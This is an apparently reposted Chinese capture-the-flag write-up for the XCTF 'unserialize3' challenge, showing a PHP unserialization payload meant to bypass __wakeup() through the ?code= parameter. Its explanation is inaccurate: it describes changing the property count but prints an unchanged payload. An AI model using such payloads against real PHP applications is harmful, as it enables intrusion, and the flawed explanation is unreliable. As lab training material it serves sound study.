攻防世界(高手进阶区)——unserialize3

好久不见. 提交于 2020-02-12 15:31:57

题目可以知道是关于PHP序列化的问题。

class xctf{   //定义类xctf
public $flag = '111';   //flag赋值为111
public function __wakeup(){   //关于魔术变量_wakeup()
exit('bad requests');
}
?code=

序列化后的字符串绕过_wakeup():
_wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行_wakeup()函数,这是一个绕过点。
改变序列化后的属性的个数:

<?
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
?>

在这里插入图片描述
将源代码的"?code="加上O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 添加到url内;
在这里插入图片描述

关于PHP反序列化漏洞可以参考:
https://www.jianshu.com/p/1d2c65601d2a

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!